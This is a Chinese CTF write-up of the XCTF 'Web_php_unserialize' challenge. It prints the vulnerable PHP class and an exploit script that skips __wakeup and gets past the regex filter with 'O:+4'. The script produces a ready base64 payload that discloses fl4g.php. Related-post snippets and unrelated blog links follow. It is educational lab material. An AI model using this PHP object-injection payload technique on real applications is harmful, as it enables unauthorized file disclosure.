0x01

<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

0x02 代码分析

一个类

将传入的参数base64解码

正则匹配,绕过

反序列化,绕过__wakeup

当wakeup序列化后的属性值比原值大时,则会跳过wakeup,以此绕过

<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
} $a=new Demo('fl4g.php');
$b=serialize($a); //O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";} //绕过wakeup,属性值比原值大
$b=str_replace(":1:", ":2:", $b); //绕过preg_match,4,变为+4
$b=str_replace("O:4", "O:+4", $b);
var_dump($b); //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}" $b=base64_encode($b);
var_dump($b); ////string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>

参考链接:

https://blog.csdn.net/qq_40884727/article/details/101162105

https://www.cnblogs.com/gaonuoqi/p/11896281.html

Web_php_unserialize的更多相关文章

  1. 攻防世界(三)Web_php_unserialize

    攻防世界系列:Web_php_unserialize 0x01.代码审计 1.类Demo中struct().destruct()函数分别在代码执行开始和结束时调用.而wakeup函数会在代码执行过程中 ...

  2. 攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup

    攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup 题目介绍 题名考点 PHP反序列化漏洞 正则匹配 Writeup <?php class Demo ...

  3. 攻防世界Web_php_unserialize

    本文借鉴 https://blog.csdn.net/qq_40884727/article/details/101162105 打开页面得到源码 <?php class Demo { priv ...

  4. Web_php_unserialize解题思路

    分析一下 __construct:当使用 new 操作符创建一个类的实例时,构造方法将会自动调用 __destuct:在销毁一个类之前执行执行 __wakeup,unserialize()` 会检查是 ...

  5. Web_php_unserialize 攻防世界

    1.$var输入处有一个正则过滤 2._wakeup处需要过滤 编写脚本如下 后在网页输入?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4Oi ...

  6. XCTF(Web_php_unserialize)

    拿到题目,是个这, 我们来一波代码审计 1 <?php 2 class Demo { 3 private $file = 'index.php'; 4 public function __con ...

  7. 攻防世界之Web_php_unserialize

    题目: <?php class Demo {     private $file = 'index.php';    public function __construct($file) {   ...

  8. CTF-WEB-XTCTF-Web_php_unserialize

    题目来源 XTCTF-Web_php_unserialize 题目考点:PHP代码审计.PHP正则.PHP序列化与反序列化 解题思路 题目源码 <?php class Demo { privat ...

  9. 攻防世界 WriteUp

    附:|>>>攻防世界-WEB-新手练习区<<<| WriteUp目录 01.|>>>baby_web<<<| 02.|>& ...

随机推荐

  1. BI报表分析和数据可视化,推荐这三个开源工具!

    开源篇 一.Superset 1.技术架构:Python + Flask + React + Redux + SQLAlchemy 2.使用人群: (1)开发/分析人员做好看板,业务人员浏览看板数据 ...

  2. Java如何遍历二维数据

    /* 需求:二维数组遍历 外循环控制的是二维数组的长度,其实就是一维数组的个数. 内循环控制的是一维数组的长度.*/class Array2Test { public static void main ...

  3. for嵌套setTimeout的心得

    export default { data() { return { dialogList: [] } }, created() { this.setList() }, methods: { setL ...

  4. JS静态变量和静态函数

    本文链接:https://blog.csdn.net/u012790503/article/details/46278521 function A(){this.id = "我是AA&quo ...

  5. tp5--Excel表格导入导出

    来源于:https://www.cnblogs.com/MyIsLu/p/6830579.html PHPExcel 扩展包下载地址:             https://github.com/P ...

  6. VHD VHDX 区别

    A Virtual hard disk is saved either with VHD or VHDX file extension. VHD is the older while VHDX is ...

  7. Spring Boot Starters介绍

    文章目录 Web Start Test Starter Data JPA Starter Mail Starter 结论 对于任何一个复杂项目来说,依赖关系都是一个非常需要注意和消息的方面,虽然重要, ...

  8. 徐州H

    #include<bits/stdc++.h> using namespace std; #define rep(i,a,b) for(int i=a;i<=b;++i) #defi ...

  9. Shoutem旨在成为React Native移动应用领域的WordPress

    近日,Shoutem推出了新的基于React Native的应用构建器,为开发人员提供了移动应用领域的WordPress. \\ Shoutem让开发人员可以使用一个可视化环境快速创建基于React ...

  10. 从蓝瘦“想哭”到 SELinux 看操作系统安全何在

    最近一周,来自网络的"想哭"勒索病毒(Wannacry Ransomware)在世界各地同时上演了一部绑匪大片,台词华丽,演技出色,当仁不让地新晋世界第一网红.全球各国除了默默忙于 ...